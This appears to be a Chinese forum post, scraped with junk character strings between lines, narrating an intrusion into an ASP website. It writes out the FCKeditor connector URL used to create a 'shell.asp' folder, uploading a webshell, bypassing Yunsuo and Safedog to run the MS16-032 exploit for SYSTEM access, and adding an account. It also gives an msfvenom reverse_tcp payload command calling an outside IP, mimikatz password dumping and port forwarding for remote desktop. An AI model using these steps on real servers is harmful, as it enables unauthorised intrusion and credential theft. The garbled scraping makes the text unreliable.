! s1 c* F' v2 O9 }' v
|
: v6 U. k( s- R c / k0 m0 b2 x3 l7 U) f
/ ?6 O* _1 r$ J0 q; l6 U# {. k( h
一、 利用getwebshell篇
$ ]9 b/ l9 ~* Q, t& f0 b% w
4 W+ Y# J" T: W8 V5 m
首先对目标站进行扫描，发现是asp的，直接扫出网站后台和默认数据库，下载解密登陆如图：
& n2 o! l0 l2 L' y4 i
& O1 p/ r2 d, S; v
5 J" @4 x" t! k; T
下面进后台发现有fckeditor，而且还是iis6.0的，可以考虑创建个asp目录来构造解析（fck编辑器路径被改成别的需要burpsuite抓包的时候看到）
, o4 |1 ^3 `' m# ^; y p/ f
+ Q9 |: c: H3 {" K* k0 G
下面我们构造一个asp目录，如： $ g0 f8 U0 O; w P9 Y" A
( @) @2 S; d0 m, Q x2 ]
' ^: N; L4 j2 j9 U b' i5 ` http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975
7 |& J& u. w1 |& g , _& Z1 i H, Q2 p& h) f' D. L
h4 m, g0 A; A9 J/ M+ _, k0 v/ a 然后再给shell.asp目录上传一个jpg图片格式的一句话，然后用hatchet打开，然后看了一下支持aspx，那么我们就用包含的办法先把aspx后缀名改成.rar，然后再创建个111.ASPx，里面包含rar文件，进去以后看进程有云锁和安全狗，那么，那么我们慢慢来，慢慢来。
( K1 E4 b; c; W) r
: L3 U) V# R2 O/ ^2 ]) U
一、 绕过安全狗云锁提权并且加账号
1 p h8 g- {5 q! L' k
( I% T1 f1 b4 \ Y7 ]
没法看系统信息，但是根据网站404页面可以断定是2003服务器，然后接着访问C:\Program Files (x86)存在断定是2003 64位系统，那么我们说干就干，我们上传ms16-032 64位直接干，但是发现上传exe或者别的格式exp会自动消失，看进程也没杀毒呀，没错没杀毒，是云锁有个功能防御了，那么突破云锁上传的方法就是利用rar，先把exp打包为64.rar上传，然后我们翻一下rar在哪个目录，在C:\Program Files (x86)，然后开干
8 X j4 \$ m [6 c+ o4 z* W: ?
: s. f2 w7 F0 Q# M, z7 R
如图：
( t5 I/ o1 Q7 r( y0 D, S
u# j' ^/ N$ _3 P! Y. g# r
然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组，我操后来也想着用getpassword64抓明文密码，但是一执行就卡死，没办法想到了metasploit
% i0 I1 t* d, l& R6 [
1 k% P9 g1 R; a; N; b一、 利用metasploit
1 K4 l/ g7 k9 x, l) {6 F; r
5 [1 |3 {, l- G" W# r
首先用pentestbox生成一个64位的payload如下命令
) p" m2 ^. H% h6 D7 z
9 k$ L% o) v! V. _9 q+ w/ vmsfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
' ~- U8 c U" V* i k7 T' r9 k) l
/ c! ?" s* h5 R D4 N
为什么要用443端口，之前我测试用别的端口直接被墙了没法上线，下面我们在system下执行这个mata，上线如图：
& P% T& l, }" D; W$ ]
' W7 N# I2 ~9 e% h9 p
下面我们用这个命令抓一下明文密码命令1：use mimikatz 命令2：kerberos如下图：
) J; G; S' |7 C# ?0 d2 t& d
; R5 k" I) T" D' O- a
下面我们来做一个监听如下命令：
5 F+ R% R" B9 C6 b7 s8 |9 ]8 c
0 s4 U" h( X! fportfwd add -l 6655 -p 3968 -r 127.0.0.1，这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图：
% C+ p7 w) M, Q* i' v2 a
 9 v6 I6 \4 R% M& K; L
% A( B% a) \5 n8 ?# d | ! B$ I n! g$ \6 {; d
发表于 2018-10-20 20:31:43
收藏
支持
反对
匿名
发表于 2021-11-20 23:30:06